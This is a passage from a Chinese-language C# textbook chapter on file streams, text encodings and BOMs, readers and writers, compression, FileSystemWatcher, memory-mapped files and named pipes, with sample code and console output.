除任何现有的文件,新建一个空文件。因为FileAccess和FileShare枚举是按位标志,所以 这些值可以与C#的按位OR运算符“|”合并使用。 1.创建FileStream StreamSamples的示例代码使用如下依赖项和名称空间: 依赖项: NETStandard.Library System.IO.FileSystem 名称空间 System System.Collections.Generic System.Globalization System.IO System.Linq System.Text System.Threading.Tasks static System.Console FileStream有很多构造函数。下面的示例使用带4个参数的构造函数(代码文件 StreamSamples /Program.cs): ● 文件名 ● FileMode枚举值Open,打开一个已存在的文件 ● FileAccess枚举值Read,读取文件 ● FileShare枚举值Read,允许其他程序读取文件,但同时不修改文件 private void ReadFileUsingFileStream(string fileName) { const int bufferSize = 4096; using (var stream = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read)) { ShowStreamInformation(stream); Encoding encoding = GetEncoding(stream); //... 除了使用FileStream类的构造函数来创建FileStream对象之外,还可以直接使用File类 的OpenRead方法创建FileStream。OpenRead方法打开一个文件(类似于 FileMode.Open),返回一个可以读取的流(FileAccess.Read),也允许其他进程执行读取 访问(FileShare.Read): using (FileStream stream = File.OpenRead(filename)) { //... 2.获取流的信息 Stream类定义了属性CanRead、CanWrite、CanSeek和CanTimeout,,可以读取这些属 性,得到可以通过流处理的信息。为了读写流,超时值ReadTimeout和WriteTimeout指定 超时,以毫秒为单位。设置这些值在网络场景中是很重要的,因为这样可以确保当读写流 失败时,用户不需要等待太长时间。Position属性返回光标在流中的当前位置。每次从流 中读取一些数据,位置就移动到下一个将读取的字节上。示例代码把流的信息写到控制台 上(代码文件StreamSamples / Program. cs): private void ShowStreamInformation(Stream stream) { WriteLine($"stream can read: {stream.CanRead }, " + $"can write: {stream.CanWrite }, can seek: {stream.CanSeek }, " + $"can timeout: {stream.CanTimeout }"); WriteLine($"length: {stream.Length }, position: {stream.Position }"); if (stream.CanTimeout) { WriteLine($"read timeout: {stream.ReadTimeout } " + $"write timeout: {stream.WriteTimeout } "); } } 对已打开的文件流运行这个程序,会得到下面的输出。位置目前为0,因为尚未开始 读取: stream can read: True, can write: False, can seek: True, can timeout: False length: 1113, position: 0 3.分析文本文件的编码 对于文本文件,下一步是读取流中的第一个字节——序言。序言提供了文件如何编码 的信息(使用的文本格式)。这也称为字节顺序标记(Byte Order Mark, BOM)。 读取一个流时,利用ReadByte可以从流中只读取一个字节,使用Read()方法可以填 充一个字节数组。使用GetEncoding()方法创建了一个包含5字节的数组,使用Read() 方法填充字节数组。第二个和第三个参数指定字节数组中的偏移量和可用于填充的字节 数。Read()方法返回读取的字节数;流可能小于缓冲区。如果没有更多的字符可用于 读取,Read方法就返回0。 示例代码分析流的第一个字符,返回检测到的编码,并把流定位在编码字符后的位置 (代码文件StreamSamples / Program.cs): private Encoding GetEncoding(Stream stream) { if (! stream.CanSeek) throw new ArgumentException( "require a stream that can seek"); Encoding encoding = Encoding.ASCII; byte[] bom = new byte[5]; int nRead = stream.Read(bom, offset: 0, count: 5); if (bom[0] == 0xff && bom[1] == 0xfe && bom[2] == 0 && bom[3] == 0) { WriteLine("UTF-32"); stream.Seek(4, SeekOrigin.Begin); return Encoding.UTF32; } else if (bom[0] == 0xff && bom[1] == 0xfe) { WriteLine("UTF-16, little endian"); stream.Seek(2, SeekOrigin.Begin); return Encoding.Unicode; } else if (bom[0] == 0xfe && bom[1] == 0xff) { WriteLine("UTF-16, big endian"); stream.Seek(2, SeekOrigin.Begin); return Encoding.BigEndianUnicode; } else if (bom[0] == 0xef && bom[1] == 0xbb && bom[2] == 0xbf) { WriteLine("UTF-8"); stream.Seek(3, SeekOrigin.Begin); return Encoding.UTF8; } stream.Seek(0, SeekOrigin.Begin); return encoding; } 文件以FF和FE字符开头。这些字节的顺序提供了如何存储文档的信息。两字节的 Unicode可以用小或大端字节顺序法存储。FF紧随在FE之后,表示使用小端字节序,而FE 后跟FF,就表示使用大端字节序。这个字节顺序可以追溯到IBM的大型机,它使用大端字 节给字节排序,Digital Equipment中的PDP11系统使用小端字节序。通过网络与采用不同 字节顺序的计算机通信时,要求改变一端的字节顺序。现在,英特尔CPU体系结构使用小 端字节序,ARM架构允许在小端和大端字节顺序之间切换。 这些编码的其他区别是什么?在ASCII中,每一个字符有7位就足够了。ASCII最初基 于英语字母表,提供了小写字母、大写字母和控制字符。 扩展的ASCII利用8位,允许切换到特定于语言的字符。切换并不容易,因为它需要 关注代码地图,也没有为一些亚洲语言提供足够的字符。UTF-16(Unicode文本格式)解 决了这个问题,它为每一个字符使用16位。因为对于以前的字形,UTF-16还不够,所以 UTF-32为每一个字符使用32位。虽然Windows NT 3.1为默认文本编码切换为UTF-16 (在 以前ASCII的微软扩展中),现在最常用的文本格式是UTF-8。在Web上,UTF-8是自2007 年以来最常用的文本格式(这个取代了ASCII,是以前最常见的字符编码)。UTF-8使用 可变长度的字符定义。一个字符定义为使用1到6个字节。这个字符序列在文件的开头探测 UTF-8:0xEF、0xBB、0xBF。 23.4.2 读取流 打开文件并创建流后,使用Read()方法读取文件。重复此过程,直到该方法返回0 为止。使用在前面定义的GetEncoding()方法中创建的Encoder,创建一个字符串。不要 忘记使用Dispose()方法关闭流。如果可能,使用using语句(如本代码示例所示)自动 销毁流(代码文件StreamSamples/Program.cs): public static void ReadFileUsingFileStream(string fileName) { const int BUFFERSIZE = 256; using (var stream = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read)) { ShowStreamInformation(stream); Encoding encoding = GetEncoding(stream); byte[] buffer = new byte[bufferSize]; bool completed = false; do { int nread = stream.Read(buffer, 0, BUFFERSIZE); if (nread == 0) completed = true; if (nread < BUFFERSIZE) { Array.Clear(buffer, nread, BUFFERSIZE - nread); } string s = encoding.GetString(buffer, 0, nread); WriteLine($"read {nread} bytes"); WriteLine(s); } while (! completed); } } 23.4.3 写入流 把一个简单的字符串写入文本文件,就演示了如何写入流。为了创建一个可以写入的 流,可以使用File.OpenWrite()方法。这次通过Path.GetTempFileName创建一个临时文件 名。GetTempFileName定义的默认文件扩展名通过Path.ChangeExtension改为txt(代码文件 StreamSamples / Program.cs): public static void WriteTextFile() { string tempTextFileName = Path.ChangeExtension(Path.GetTempFileName(), "txt"); using (FileStream stream = File.OpenWrite (tempTextFileName)) { //etc. 写入UTF-8文件时,需要把序言写入文件。为此,可以使用WriteByte()方法,给流 发送3个字节的UTF-8序言: stream.WriteByte (0xef); stream.WriteByte(0xbb); stream.WriteByte(0xbf); 这有一个替代方案。不需要记住指定编码的字节。Encoding类已经有这些信息了。 GetPreamble()方法返回一个字节数组,其中包含文件的序言。这个字节数组使用 Stream类的Write()方法写入: byte[] preamble = Encoding.UTF8.GetPreamble(); stream.Write(preamble, 0, preamble.Length); 现在可以写入文件的内容。Write()方法需要写入字节数组,所以需要转换字符 串。将字符串转换为UTF-8的字节数组,可以使用Encoding.UTF8.GetBytes完成这个工 作,之后写入字节数组: string hello = "Hello, World! "; byte[] buffer = Encoding.UTF8.GetBytes(hello); stream.Write(buffer, 0, buffer.Length); WriteLine($"file {stream.Name} written"); } } 可以使用编辑器(比如Notepad)打开临时文件,它会使用正确的编码。 23.4.4 复制流 现在复制文件内容,把读写流合并起来。在下一个代码片段中,用File.OpenRead打 开可读的流,用File. OpenWrite打开可写的流。使用Stream.Read()方法读取缓冲区,用 Stream.Write()方法写入缓冲区(代码文件StreamSamples / Program. cs): public static void CopyUsingStreams(string inputFile, string outputFile) { const int BUFFERSIZE = 4096; using (var inputStream = File.OpenRead(inputFile)) using (var outputStream = File.OpenWrite(outputFile)) { byte[] buffer = new byte[BUFFERSIZE]; bool completed = false; do { int nRead = inputStream.Read(buffer, 0, BUFFERSIZE); if (nRead == 0) completed = true; outputStream.Write(buffer, 0, nRead); } while (! completed); } } 为了复制流,无须编写读写流的代码。而可以使用Stream类的CopyTo方法,如下所 示(代码文件StreamSamples / Program. cs): public static void CopyUsingStreams2(string inputFile, string outputFile) { using (var inputStream = File.OpenRead(inputFile)) using (var outputStream = File.OpenWrite(outputFile)) { inputStream.CopyTo(outputStream); } } 23.4.5 随机访问流 随机访问流(甚至可以访问大文件)的一个优势是,可以快速访问文件中的特定位 置。 为了了解随机存取动作,下面的代码片段创建了一个大文件。这个代码片段创建的文 件sampledata.data包含了长度相同的记录,包括一个数字、一个文本和一个随机的日期。 传递给方法的记录数通过Enumerable.Range方法创建。Select方法创建了一个匿名类型, 其中包含Number、Text和Date属性。除了这些记录外,还创建一个带#前缀和后缀的字符 串,每个值的长度都固定,每个值之间用;作为分隔符。WriteAsync方法将记录写入流 (代码文件StreamSamples /Program.cs): const string SampleFilePath = "./samplefile.data"; public static async Task CreateSampleFile(int nRecords) { FileStream stream = File.Create(SampleFilePath); using (var writer = new StreamWriter(stream)) { var r = new Random(); var records = Enumerable.Range(0, nRecords).Select(x => new { Number = x, Text = $"Sample text {r.Next(200)}", Date = new DateTime(Math.Abs((long)((r.NextDouble() * 2 - 1) * DateTime.MaxValue.Ticks))) }); foreach (var rec in records) { string date = rec.Date.ToString("d", CultureInfo.InvariantCulture); string s = $"#{rec.Number,8}; {rec.Text, -20}; {date}#{Environment.NewLine}"; await writer.WriteAsync(s); } } }  注意: 第5章提到,每个实现IDisposable的对象都应该销毁。在前面的代码 片段中,FileStream似乎并没有销毁。然而事实并非如此。StreamWriter销毁时, StreamWriter会控制所使用的资源,并销毁流。为了使流打开的时间比StreamWriter更 长,可以用StreamWriter的构造函数配置它。在这种情况下,需要显式地销毁流。 现在把游标定位到流中的一个随机位置,读取不同的记录。用户需要输入应该访问的 记录号。流中应该访问的字节基于记录号和记录的大小。现在Stream类的Seek方法允许定 位流中的光标。第二个参数指定位置是流的开头、流的末尾或是当前位置(代码文件 StreamSamples /Program.cs): public static void RandomAccessSample() { try { using (FileStream stream = File.OpenRead(SampleFilePath) ) { byte[] buffer = new byte[RECORDSIZE]; do { try { Write("record number (or 'bye' to end): "); string line = ReadLine(); if (line.ToUpper().CompareTo("BYE") == 0) break; int record; if (int.TryParse(line, out record)) { stream.Seek((record - 1) * RECORDSIZE, SeekOrigin.Begin); stream.Read(buffer, 0, RECORDSIZE); string s = Encoding.UTF8.GetString(buffer); WriteLine($"record: {s}"); } } catch (Exception ex) { WriteLine(ex.Message); } } while (true); WriteLine("finished"); } } catch (FileNotFoundException) { WriteLine("Create the sample file using the option -sample first"); } } 利用这些代码,可以尝试创建一个包含150万条记录或更多的文件。使用记事本打开 这个大小的文件会比较慢,但是使用随机存取会非常快。根据系统、CPU和磁盘类型,可 以使用更高或更低的值来测试。  注意: 如果应该访问的记录的大小不固定,仍可以为大文件使用随机存取。 解决这一问题的方法之一是把写入记录的位置放在文件的开头。另一个选择是读取记 录所在的一个更大的块,在其中可以找到记录标识符和内存块中的记录限值条件。 23.4.6 使用缓存的流 从性能原因上看,在读写文件时,输出结果会被缓存。如果程序要求读取文件流中下 面的两个字节,该流会把请求传递给Windows,则Windows不会连接文件系统,再定位文 件,并从磁盘中读取文件,仅读取2个字节。而是在一次读取过程中,检索文件中的一个 大块,把该块保存在一个内存区域,即缓冲区上。以后对流中数据的请求就会从该缓冲区 中读取,直到读取完该缓冲区为止。此时,Windows会从文件中再获取另一个数据块。 写入文件的方式与此相同。对于文件,操作系统会自动完成读写操作,但需要编写一 个流类,从其他没有缓存的设备中读取数据。如果是这样,就应从BufferedStream创建一 个类,它实现一个缓冲区(但BufferedStream并不用于应用程序频繁切换读数据和写数据 的情形)。 23.5 使用读取器和写入器 使用FileStream类读写文本文件,需要使用字节数组,处理前一节描述的编码。有更 简单的方法:使用读取器和写入器。可以使用StreamReader和StreamWriter类读写 FileStream,无须处理字节数组和编码,比较轻松。 这是因为这些类工作的级别比较高,特别适合于读写文本。它们实现的方法可以根据 流的内容,自动检测出停止读取文本较方便的位置。特别是: ● 这些类实现的方法(StreamReader.ReadLine和StreamWriter.WriteLine)可以一次读 写一行文本。在读取文件时,流会自动确定下一个回车符的位置,并在该处停止 读取。在写入文件时,流会自动把回车符和换行符追加到文本的末尾。 ● 使用StreamReader和StreamWriter类,就不需要担心文件中使用的编码方式。 ReaderWriterSamples的示例代码使用下面的依赖项和名称空间: 依赖项 NETStandard.Library System.IO.FileSystem 名称空间 System System.Collections.Generic System.Globalization System.IO System.Linq System.Text System.Threading.Tasks static System.Console 23.5.1 StreamReader类 先看看StreamReader,将前面的示例转换为读取文件以使用StreamReader。它现在看 起来容易得多。StreamReader的构造函数接收FileStream。使用EndOfStream属性可以检查 文件的末尾,使用ReadLine方法读取文本行(代码文件ReaderWriterSamples /Program.cs): public static void ReadFileUsingReader(string fileName) { var stream = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); using (var reader = new StreamReader(stream) ) { while (! reader.EndOfStream ) { string line = reader.ReadLine() ; WriteLine(line); } } } 不再需要处理字节数组和编码。然而注意,StreamReader默认使用UTF - 8编码。指定 另一个构造函数,可以让StreamReader使用文件中序言定义的编码: var reader = new StreamReader(stream, detectEncodingFromByteOrderMarks: true) ; 也可以显式地指定编码: var reader = new StreamReader(stream, Encoding.Unicode); 其他构造函数允许设置要使用的缓冲区;默认为1024个字节。此外,还可以指定关闭 读取器时,不应该关闭底层流。默认情况下,关闭读取器时(使用Dispose方法),会关 闭底层流。 不显式实例化新的StreamReader,而可以使用File类的OpenText方法创建 StreamReader: var reader = File.OpenText(fileName); 对于读取文件的代码片段,该文件使用ReadLine方法逐行读取。StreamReader还允许 在流中使用ReadToEnd从光标的位置读取完整的文件: string content = reader.ReadToEnd(); StreamReader还允许把内容读入一个字符数组。这类似于Stream类的Read方法;它不 读入字节数组,而是读入char数组。记住,char类型使用两个字节。这适合于16位 Unicode,但不适合于UTF-8,其中,一个字符的长度可以是1至6个字节: int nChars = 100; char[] charArray = new char[nChars]; int nCharsRead = reader.Read(charArray, 0, nChars); 23.5.2 StreamWriter类 StreamWriter的工作方式与StreamReader相同,只是StreamWriter仅用于写入文件(或 写入另一个流)。下面的代码片段传递FileStream,创建了一个StreamWriter。然后把传入 的字符串数组写入流(代码文件ReaderWriterSamples /Program.cs): public static void WriteFileUsingWriter(string fileName, string[] lines) { var outputStream = File.OpenWrite(fileName); using (var writer = new StreamWriter(outputStream) ) { byte[] preamble = Encoding.UTF8.GetPreamble(); outputStream.Write(preamble, 0, preamble.Length); writer.Write(lines); } } 记住,StreamWriter默认使用UTF-8格式写入文本内容。通过在构造函数中设置 Encoding对象,可以定义替代的内容。另外,类似于StreamReader的构造函数, StreamWriter允许指定缓冲区的大小,以及关闭写入器时是否不应该关闭底层流。 StreamWriter的Write()方法定义了17个重载版本,允许传递字符串和一些.NET数据 类型。请记住,使用传递.NET数据类型的方法,这些都会使用指定的编码变成字符串。 要以二进制格式写入数据类型,可以使用下面介绍的BinaryWriter。 23.5.3 读写二进制文件 读写二进制文件的一种选择是直接使用流类型;在这种情况下,最好使用字节数组执 行读写操作。另一个选择是使用为这个场景定义的读取器和写入器:BinaryReader和 BinaryWriter。使用它们的方式类似于使用StreamReader和StreamWriter,但BinaryReader和 BinaryWriter不使用任何编码。文件使用二进制格式而不是文本格式写入。 与Stream类型不同,BinaryWriter为Write()方法定义了18个重载版本。重载版本接 受不同的类型,如下面的代码片段所示,它写入double、int、long和string(代码文件 ReaderWriterSamples/Program.cs): public static void WriteFileUsingBinaryWriter(string binFile) { var outputStream = File.Create(binFile); using (var writer = new BinaryWriter(outputStream) ) { double d = 47.47; int i = 42; long l = 987654321; string s = "sample"; writer.Write(d); writer.Write(i); writer.Write(l); writer.Write(s); } } 写入文件之后,就可以从Visual Studio使用二进制编辑器打开它,如图23-4所示。 图23-4 为了再次读取文件,可以使用BinaryReader。这个类定义的方法会读取所有不同的类 型,如ReadDouble、ReadInt32、ReadInt64和ReadString,如下所示: public static void ReadFileUsingBinaryReader(string binFile) { var inputStream = File.Open(binFile, FileMode.Open); using (var reader = new BinaryReader(inputStream)) { double d = reader.ReadDouble(); int i = reader.ReadInt32(); long l = reader.ReadInt64(); string s = reader.ReadString(); WriteLine($"d: {d}, i: {i}, l: {l}, s: {s}"); } } 读取文件的顺序必须完全匹配写入的顺序。创建自己的二进制格式时,需要知道存储 的内容和方式,并用相应的方式读取。旧的微软Word文档使用二进制文件格式,而新的 docx文件扩展是ZIP文件。如何读写压缩文件详见下一节。 23.6 压缩文件 .NET包括使用不同的算法压缩和解压缩流的类型。可以使用DeflateStream和 GZipStream来压缩和解压缩流;ZipArchive类可以创建和读取ZIP文件。 DeflateStream和GZipStream使用相同的压缩算法(事实上,GZipStream在后台使用 DeflateStream),但GZipStream增加了循环冗余校验,来检测数据的损坏情况。在 Windows资源管理器中,可以直接打开ZipArchive,但不能打开用GZipStream压缩的文 件。第三方GZip工具可以打开用gzipStream压缩的文件。  注意: DeflateStream和GZipStream使用的算法是抑制算法。该算法由RFC 1951定义(https://tools.ietf.org/html/rfc1951)。这个算法被广泛认为不受专利的限制, 因此得到广泛使用。 CompressFileSample的示例代码使用了以下依赖项和名称空间: 依赖项 NETStandard.Library System.IO.Compression System.IO.Compression.ZipFile 名称空间 System.Collections.Generic System.IO System.IO.Compression static System.Console 23.6.1 使用压缩流 如前所述,流的一个特性是,可以将它们链接起来。为了压缩流,只需要创建 DeflateStream,并给构造函数传递另一个流(在这个例子中,是写入文件的 outputStream),使用CompressionMode. Compress表示压缩。使用Write方法或其他功能写 入这个流,如以下代码片段所示的CopyTo()方法,就是文件压缩所需的所有操作(代 码文件CompressFileSample /Program.cs): public static void CompressFile(string fileName, string compressedFileName) { using (FileStream inputStream = File.OpenRead(fileName)) { FileStream outputStream = File.OpenWrite(compressedFileName); using (var compressStream = new DeflateStream(outputStream, CompressionMode.Compress)) { inputStream.CopyTo(compressStream); } } } 为了再次把通过DeflateStream压缩的文件解压缩,下面的代码片段使用FileStream打 开文件,并创建DeflateStream对象,把CompressionMode.Decompress传入文件流,表示解 压缩。Stream.CopyTo方法把解压缩的流复制到MemoryStream中。然后,这个代码片段利 用StreamReader读取MemoryStream中的数据,把输出写到控制台。StreamReader配置为打 开所分配的MemoryStream (使用leaveOpen参数),所以MemoryStream在关闭读取器后 也可以使用: public static void DecompressFile(string fileName) { FileStream inputStream = File.OpenRead(fileName); using (MemoryStream outputStream = new MemoryStream()) using (var compressStream = new DeflateStream(inputStream, CompressionMode.Decompress)) { compressStream.CopyTo(outputStream); outputStream.Seek(0, SeekOrigin.Begin); using (var reader = new StreamReader(outputStream, Encoding.UTF8, detectEncodingFromByteOrderMarks: true, bufferSize: 4096, leaveOpen: true)) { string result = reader.ReadToEnd(); WriteLine(result); } // could use the outputStream after the StreamReader is closed } } 23.6.2 压缩文件 今天,ZIP文件格式是许多不同文件类型的标准。Word文档(docx)以及NuGet包都 存储为ZIP文件。在.NET中,很容易创建ZIP归档文件。 要创建ZIP归档文件,可以创建一个ZipArchive对象。ZipArchive包含多个 ZipArchiveEntry对象。ZipArchive类不是一个流,但是它使用流进行读写。下面的代码片 段创建一个ZipArchive,将压缩内容写入用File.OpenWrite打开的文件流中。添加到ZIP归 档文件中的内容由所传递的目录定义。Directory. EnumerateFiles枚举了目录中的所有文 件,为每个文件创建一个ZipArchiveEntry对象。调用Open方法创建一个Stream对象。使用 要读取的Stream的CopyTo方法,压缩文件,写入ZipArchiveEntry (代码文件 CompressFileSample / Program.cs): public static void CreateZipFile(string directory, string zipFile) { FileStream zipStream = File.OpenWrite(zipFile); using (var archive = new ZipArchive(zipStream, ZipArchiveMode.Create) ) { IEnumerable<string> files = Directory.EnumerateFiles( directory, "*", SearchOption.TopDirectoryOnly); foreach (var file in files) { ZipArchiveEntry entry = archive.CreateEntry(Path.GetFileName(file)); using (FileStream inputStream = File.OpenRead(file)) using (Stream outputStream = entry.Open() ) { inputStream.CopyTo(outputStream); } } } } 23.7 观察文件的更改 使用FileSystemWatcher可以监视文件的更改。事件在创建、重命名、删除和更改文件 时触发。这可用于如下场景:需要对文件的变更做出反应,例如,服务器上传文件时,或 文件缓存在内存中,而缓存需要在文件更改时失效。 因为FileSystemWatcher易于使用,所以下面直接开始一个示例。FileMonitor的示例代 码利用以下依赖项和名称空间: 依赖项 NETStandard.Library System.IO.FileSystem.Watcher 名称空间 System.IO static System.Console 示例代码在WatchFiles()方法中开始观察文件。使用FileSystemWatcher的构造函数 时,可以提供应该观察的目录。还可以提供一个过滤器,只过滤出与过滤表达式匹配的特 定文件。当设置属性IncludeSubdirectories时,可以定义是否应该只观察指定目录中的文 件,或者是否还应该观察子目录中的文件。对于Created、Changed、Deleted和Renamed事 件,提供事件处理程序。所有这些事件的类型都是FileSystemEventHandler,只有Renamed 事件的类型是RenamedEventHandler。RenamedEventHandler派生自 FileSystemEventHandler,提供了事件的附加信息(代码文件FileMonitor/Program.cs): public static void WatchFiles(string path, string filter) { var watcher = new FileSystemWatcher(path, filter) { IncludeSubdirectories = true }; watcher.Created += OnFileChanged; watcher.Changed += OnFileChanged; watcher.Deleted += OnFileChanged; watcher.Renamed += OnFileRenamed; watcher.EnableRaisingEvents = true; WriteLine("watching file changes..."); } 因文件变更而接收到的信息是FileSystemEventArgs类型。它包含了变更文件的名字, 这种变更是一个WatcherChangeTypes类型的枚举: private static void OnFileChanged(object sender, FileSystemEventArgs e) { WriteLine($"file {e.Name} {e.ChangeType}"); } 重命名文件时,通过RenamedEventArgs参数收到其他信息。这个类型派生自 FileSystemEventArgs,它定义了文件原始名称的额外信息: private static void OnFileRenamed(object sender, RenamedEventArgs e) { WriteLine($"file {e.OldName} {e.ChangeType} to {e.Name}"); } 指定要观察的文件夹和*.txt作为过滤器,启动应用程序,创建文件sample1.txt,添加 内容,把它重命名为sample2. txt,最后删除它,输出如下。 watching file changes... file New Text Document.txt Created file New Text Document.txt Renamed to sample1.txt file sample1.txt Changed file sample1.txt Changed file sample1.txt Renamed to sample2.txt file sample2.txt Deleted 23.8 使用内存映射的文件 内存映射文件允许访问文件,或在不同的进程中共享内存。这个技术有几个场景和特 点: ● 使用文件地图,快速随机访问大文件 ● 在不同的进程或任务之间共享文件 ● 在不同的进程或任务之间共享内存 ● 使用访问器直接从内存位置进行读写 ● 使用流进行读写 内存映射文件API允许使用物理文件或共享的内存,其中把系统的页面文件用作后备 存储器。共享的内存可以大于可用的物理内存,所以需要一个后备存储器。可以为特定的 文件或共享的内存创建一个内存映射文件。使用这两个选项,可以给内存映射指定名称。 使用名称,允许不同的进程访问同一个共享的内存。 创建了内存映射之后,就可以创建一个视图。视图用于映射完整内存映射文件的一部 分,以访问它,进行读写。 MemoryMappedFilesSample利用下面的依赖项和名称空间: 依赖项 NETStandard.Library System.IO.MemoryMappedFiles 名称空间 System System.IO System.IO.MemoryMappedFiles System.Threading System.Threading.Tasks static System.Console 示例应用程序演示了如何通过内存映射文件,使用这两种视图访问器和流完成多个任 务。一个任务是创建内存映射文件和写入数据;另一个任务是读取数据。  注意: 示例代码使用了任务和事件。任务参见第21章。事件参见第22章。 准备好映射,写入数据时,需要一些基础设施来创建任务,发出信号。映射的名称和 ManualResetEventSlim对象定义为Program类的一个成员(代码文件 MemoryMappedFilesSample/Program.cs): private ManualResetEventSlim _mapCreated = new ManualResetEventSlim(initialState: false); private ManualResetEventSlim _dataWrittenEvent = new ManualResetEventSlim(initialState: false); private const string MAPNAME = "SampleMap"; 在Main方法中使用Task.Run方法开始执行任务: public void Run() { Task.Run(() => WriterAsync()); Task.Run(() => Reader()); WriteLine("tasks started"); ReadLine(); } 现在使用访问器创建读取器和写入器。 23.8.1 使用访问器创建内存映射文件 为了创建一个基于内存的内存映射文件,写入器调用了 MemoryMappedFile.CreateOrOpen方法。这个方法打开第一个参数指定名称的对象,如果 它不存在,就创建一个新对象。要打开现有的文件,可以使用OpenExisting方法。为了访 问物理文件,可以使用CreateFromFile方法。 示例代码中使用的其他参数是内存映射文件的大小和所需的访问。创建内存映射文件 后,给事件_mapCreated发出信号,给其他任务提供信息,说明已经创建了内存映射文 件,可以打开它了。调用方法CreateViewAccessor,返回一个 MemoryMappedViewAccessor,以访问共享的内存。使用视图访问器,可以定义这一任务 使用的偏移量和大小。当然,可以使用的最大大小是内存映射文件的大小。这个视图用于 写入,因此文件访问设置为MemoryMappedFileAccess.Write。 接下来,使用MemoryMappedViewAccessor的重载Write方法,可以将原始数据类型写 入共享内存。Write方法总是需要位置信息,来指定数据应该写入的位置。写入所有的数 据之后,给一个事件发出信号,通知读取器,现在可以开始读取了(代码文件 MemoryMappedFilesSample /Program.cs): private async Task WriterAsync() { try { using (MemoryMappedFile mappedFile = MemoryMappedFile.CreateOrOpen( MAPNAME, 10000, MemoryMappedFileAccess.ReadWrite)) { _mapCreated.Set(); // signal shared memory segment created WriteLine("shared memory segment created"); using (MemoryMappedViewAccessor accessor = mappedFile.CreateViewAccessor( 0, 10000, MemoryMappedFileAccess.Write)) { for (int i = 0, pos = 0; i < 100; i++, pos += 4) { accessor.Write(pos, i); WriteLine($"written {i} at position {pos}"); await Task.Delay(10); } _dataWrittenEvent.Set(); // signal all data written WriteLine("data written"); } } } catch (Exception ex) { WriteLine($"writer {ex.Message}"); } } 读取器首先等待创建内存映射文件,再使用MemoryMappedFile.OpenExisting打开 它。读取器只需要映射的读取权限。之后,与前面的写入器类似,创建一个视图访问器。 在读取数据之前,等待设置_dataWrittenEvent。读取类似于写入,因为也要提供应该访问 数据的位置,但是不同的Read方法,如ReadInt32,用于读取不同的数据类型: private void Reader() { try { WriteLine("reader"); _mapCreated.Wait(); WriteLine("reader starting"); using (MemoryMappedFile mappedFile = MemoryMappedFile.OpenExisting( MAPNAME, MemoryMappedFileRights.Read)) { using (MemoryMappedViewAccessor accessor = mappedFile.CreateViewAccessor( 0, 10000, MemoryMappedFileAccess.Read)) { _dataWrittenEvent.Wait(); WriteLine("reading can start now"); for (int i = 0; i < 400; i += 4) { int result = accessor.ReadInt32(i); WriteLine($"reading {result} from position {i}"); } } } } catch (Exception ex) { WriteLine($"reader {ex.Message}"); } } 运行应用程序,输出如下: reader reader starting tasks started shared memory segment created written 0 at position 0 written 1 at position 4 written 2 at position 8 ... written 99 at 396 data written reading can start now reading 0 from position 0 reading 1 from position 4 ... 23.8.2 使用流创建内存映射文件 除了用内存映射文件写入原始数据类型之外,还可以使用流。流允许使用读取器和写 入器,如本章前面所述。现在创建一个写入器来使用StreamWriter。MemoryMappedFile中 的方法CreateViewStream()返回MemoryMappedViewStream。这个方法非常类似于前面 使用的CreateViewAccessor()方法,也是在映射内定义一个视图,有了偏移量和大小, 可以方便地使用流的所有特性。 然后使用WriteLineAsync()方法把一个字符串写到流中。StreamWriter缓存写入操 作,所以流的位置不是在每个写入操作中都更新,只在写入器写入块时才更新。为了用每 次写入的内容刷新缓存,要把StreamWriter的AutoFlush属性设置为true(代码文件 MemoryMappedFilesSample /Program.cs): private async Task WriterUsingStreams() { try { using (MemoryMappedFile mappedFile = MemoryMappedFile.CreateOrOpen( MAPNAME, 10000, MemoryMappedFileAccess.ReadWrite)) { _mapCreated.Set(); // signal shared memory segment created WriteLine("shared memory segment created"); MemoryMappedViewStream stream = mappedFile.CreateViewStream( 0, 10000, MemoryMappedFileAccess.Write); using (var writer = new StreamWriter(stream)) { writer.AutoFlush = true; for (int i = 0; i < 100; i++) { string s = $"some data {i}"; WriteLine($"writing {s} at {stream.Position}"); await writer.WriteLineAsync(s); } } _dataWrittenEvent.Set(); // signal all data written WriteLine("data written"); } } catch (Exception ex) { WriteLine($"writer {ex.Message}"); } } 读取器同样用CreateViewStream创建了一个映射视图流,但这次需要读取权限。现在 可以使用StreamReader()方法从共享内存中读取内容: private async Task ReaderUsingStreams() { try { WriteLine("reader"); _mapCreated.Wait(); WriteLine("reader starting"); using (MemoryMappedFile mappedFile = MemoryMappedFile.OpenExisting( MAPNAME, MemoryMappedFileRights.Read)) { MemoryMappedViewStream stream = mappedFile.CreateViewStream( 0, 10000, MemoryMappedFileAccess.Read); using (var reader = new StreamReader(stream)) { _dataWrittenEvent.Wait(); WriteLine("reading can start now"); for (int i = 0; i < 100; i++) { long pos = stream.Position; string s = await reader.ReadLineAsync(); WriteLine($"read {s} from {pos}"); } } } } catch (Exception ex) { WriteLine($"reader {ex.Message}"); } } 运行应用程序时,可以看到读写的数据。写入数据时,流中的位置总是更新,因为设 置了AutoFlush属性。读取数据时,总是读取1024字节的块。 tasks started reader reader starting shared memory segment created writing some data 0 at 0 writing some data 1 at 13 writing some data 2 at 26 writing some data 3 at 39 writing some data 4 at 52 ... data written reading can start now read some data 0 from 0 read some data 1 from 1024 read some data 2 from 1024 read some data 3 from 1024 ... 通过内存映射文件通信时,必须同步读取器和写入器,这样读取器才知道数据何时可 用。下一节讨论的管道给这样的场景提供了其他选项。 23.9 使用管道通信 为了在线程和进程之间通信,在不同的系统之间快速通信,可以使用管道。在.NET 中,管道实现为流,因此不仅可以把字节发送到管道,还可以使用流的所有特性,如读取 器和写入器。 管道实现为不同的类型:一种是命名管道,其中的名称可用于连接到每一端,另一种 是匿名管道。匿名管道不能用于不同系统之间的通信;只能用于一个父子进程之间的通信 或不同任务之间的通信。 所有管道示例的代码都利用以下依赖项和名称空间: 依赖项 NETStandard.Library System.IO.Pipes 名称空间 System System.IO System.IO.Pipes System.Threading System.Threading.Tasks static System.Console 下面先使用命名管道在不同的进程之间进行通信。在第一个示例应用程序中,使用了 两个控制台应用程序。一个充当服务器,从管道中读取数据;另一个把消息写入管道。 23.9.1 创建命名管道服务器 通过创建NamedPipeServerStream的一个新实例,来创建服务器。 NamedPipeServerStream派生自基类PipeStream, PipeStream派生自Stream基类,因此可以使 用流的所有功能,例如,可以创建CryptoStream或GZipStream,把加密或压缩的数据写入 命名管道。构造函数需要管道的名称,通过管道通信的多个进程可以使用该管道。 用于下面代码片段的第二个参数定义了管道的方向。服务器流用于读取,因此将方向 